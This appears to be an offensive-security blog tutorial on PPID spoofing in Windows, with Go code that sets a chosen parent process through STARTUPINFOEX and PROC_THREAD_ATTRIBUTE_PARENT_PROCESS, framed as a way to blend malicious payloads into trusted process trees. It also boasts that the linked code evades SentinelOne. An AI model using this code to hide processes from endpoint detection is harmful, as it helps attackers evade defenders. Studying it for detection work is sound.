PPID Spoofing

What is PPID Spoofing?

By default, when you spawn a process, the system sets the Parent Process ID (PPID) to that of the process that launched it. Many security solutions use this relationship to identify suspicious behavior — for example, powershell.exe spawned from notepad.exe might raise a red flag.

PPID spoofing involves launching a new process and manually assigning a different, legitimate parent — like explorer.exe, svchost.exe, or winlogon.exe — to avoid detection.

How and why PPID spoofing is possible on Windows

Windows doesn’t strictly enforce that a newly spawned process must inherit the PID of its real parent. Instead, when creating a process via the Windows API, developers can use an extended startup structure — STARTUPINFOEX — which allows for specifying additional attributes during process creation.

One of these attributes is PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, which lets you set a custom parent process handle. As long as the calling process has the appropriate privileges (specifically, the PROCESS_CREATE_PROCESS access right on the target parent), Windows will happily assign that process as the new parent — no questions asked.

This design choice was originally intended for legitimate use cases like job object management, sandboxing, or advanced debugging. But in the offensive world, it opens the door to abusing the same mechanism to spoof parent processes, blending malicious activity into trusted process trees like explorer.exe, svchost.exe, or even winlogon.exe.

it's not a vulnerability, it's a feature

Step 1: Define structures

First, Need to define needed structure for our API calls and attributes manipulation

type StartupInfoEx struct {
    windows.StartupInfo
    AttributeList *PROC_THREAD_ATTRIBUTE_LIST
}

type PROC_THREAD_ATTRIBUTE_LIST struct {
    dwFlags  uint32
    size     uint64
    count    uint64
    reserved uint64
    unknown  *uint64
    entries  []*PROC_THREAD_ATTRIBUTE_ENTRY
}

type PROC_THREAD_ATTRIBUTE_ENTRY struct {
    attribute *uint32
    cbSize    uintptr
    lpValue   uintptr
}

type ProcessEntry32 struct {
    Size              uint32
    Usage             uint32
    ProcessID         uint32
    DefaultHeapID     uintptr
    ModuleID          uint32
    Threads           uint32
    ParentProcessID   uint32
    PriClassBase      int32
    Flags             uint32
    ExeFile          [windows.MAX_PATH]uint16
}

The key elements for this technique is STARTUPINFOEX structure and ParentProcessID definition in ProcessEntry32, as it let us set more custom attribute when launching a process.

Step 2: Create the Handle to the parent process

After initializing the attribute list, we open a handle to the parent process using OpenProcess with the PROCESS_CREATE_PROCESS right:

parentHandle, err := windows.OpenProcess(windows.PROCESS_CREATE_PROCESS, false, ppid)

As the method to get the target PPID is already defined here, i won't explain it again, even if the function is quite different, as we need to identify and return a PPID, not an handle

Step 3: define the custom attribute

For our manipulation to work, we need to update the process attribute list before launching the process. In our case we add the value 0x00020000, that is the Windows constant for PROC_THREAD_ATTRIBUTE_PARENT_PROCESS in the function UpdateProcThreadAttribute, then finally we pass a pointer to the parent handle as the value of the attribute. By the way, a great resource to find all the windows types and structures for golang is available here (please learn how to search things by yourself instead of harrasing me for my sources (joking(or not))). For make the things work, we also need to add the flag 0x00080000 , this flag is needed to explicit the use of an extended startupinfo.

    ret, _, err = updateProcThreadAttribute.Call(
        uintptr(unsafe.Pointer(startupInfoEx.AttributeList)),
        0,
        0x00020000, // PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
        uintptr(unsafe.Pointer(&parentHandle)),
        unsafe.Sizeof(parentHandle),
        0,
        0,
    )
    if ret == 0 {
        return fmt.Errorf("UpdateProcThreadAttribute a échoué: %v", err)
    }

    startupInfoEx.Cb = uint32(unsafe.Sizeof(*startupInfoEx))
    
    var procInfo windows.ProcessInformation
    creationFlags := windows.CREATE_NEW_CONSOLE | 0x00080000 // EXTENDED_STARTUPINFO_PRESENT

Step 4: Spawn the Process

Finally, we call CreateProcess using our crafted STARTUPINFOEX. The result is a new process that appears to have been spawned by the parent we chose.

This breaks the default parent-child relationship and can help blend our activity into legitimate process trees.

err = windows.CreateProcess(
    nil,
    syscall.StringToUTF16Ptr(cmd),
    nil,
    nil,
    false,
    uint32(creationFlags),
    nil,
    nil,
    &startupInfoEx.StartupInfo,
    &procInfo,
)
I swear to god i'm a Microsoft Document

⚠️ Limitations

While this technique is useful, well-configured modern EDRs (real EDRs, not Defender for Endpoints) are catching on. Some may check for anomalies in token privileges, suspicious process trees, or monitor the use of STARTUPINFOEX. That said, PPID spoofing remains a great first-layer obfuscation in multi-stage payloads.

Fun Fact

With some classic static obfuscation of DLLs name and functions imports , the noisy code linked to this article bypasses SentinelOne 🤡 never underestimate static obfuscation. Thanks AgOnY for the feedback 🔥

As always, the full code is available here

Last updated